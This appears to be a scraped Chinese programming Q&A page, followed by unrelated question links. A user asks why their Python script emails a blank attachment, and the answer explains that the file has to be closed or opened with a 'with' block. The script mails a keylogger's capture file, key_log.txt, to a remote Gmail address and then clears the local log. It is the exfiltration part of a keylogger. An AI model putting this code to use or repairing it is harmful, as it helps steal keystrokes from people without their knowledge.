python - 接收电子邮件附件作为空白文件
问题描述
这是我写的代码...
尽管其中包含数据,但这会向我发送一个空白.txt
文件作为附件...
email_user = 'user@gmail.com'
email_password = '********'
email_send = 'send@gmail.com'
subject = 'This is keyloggings '
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'This is keyloggings'
msg.attach(MIMEText(body,'plain'))
filename = 'key_log.txt'
attachment = open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment;filename= %s" %filename)
msg.attach(part)
server = smtplib.SMTP('smtp.gmail.com',587)
server.ehlo()
server.starttls()
server.ehlo()
server.login(email_user,email_password)
text = msg.as_string()
server.sendmail(email_user,email_send,text)
server.quit()
#the below code overwrites the file after sending email
open('C:/Users/sutha/OneDrive/Desktop/keylogger.txt','w').close()
解决方案
close
拥有该文件后,您需要该文件read
。
part.set_payload((attachment).read())
添加后,
# Close opened file
attachment.close()
当您使用它时,更改part.set_payload((attachment).read())
为part.set_payload(attachment.read())
您不需要将变量括在圆括号中。
另外,更好的方法是使用with
which close 文件本身,
with open(filename,'rb') as attachment:
part.set_payload(attachment.read())
推荐阅读
- java - 如何修复 maven 打包的 jar 报告“错误:无法找到或加载主类 .\FormulaTelemetryApp-1.0-SNAPSHOT.jar”
- apache-zookeeper - zookeeper - [NIOServerCnxn@383] - 导致会话 0x0 关闭的异常:Len 错误 1195725856
- javascript - 使用 Google Chrome 浏览器控制台上的 Quora 上的所有问题一次性回答所有请求
- string - 如何用数组中包含的值替换字符串中未知数量的单词?
- reactjs - 在从 firebase 获取数据之前,mapStateToProps 状态两次返回“未定义”
- json - jq用对象的主要值过滤子数组值
- android - 设置为可见时底部导航视图的奇怪行为
- amazon-web-services - 具有 ec2 私有云实现的 terraform
- powershell - 如何让我的脚本在后台连续运行?
- sql - 使用 VARCHAR 从 JSON 中提取文本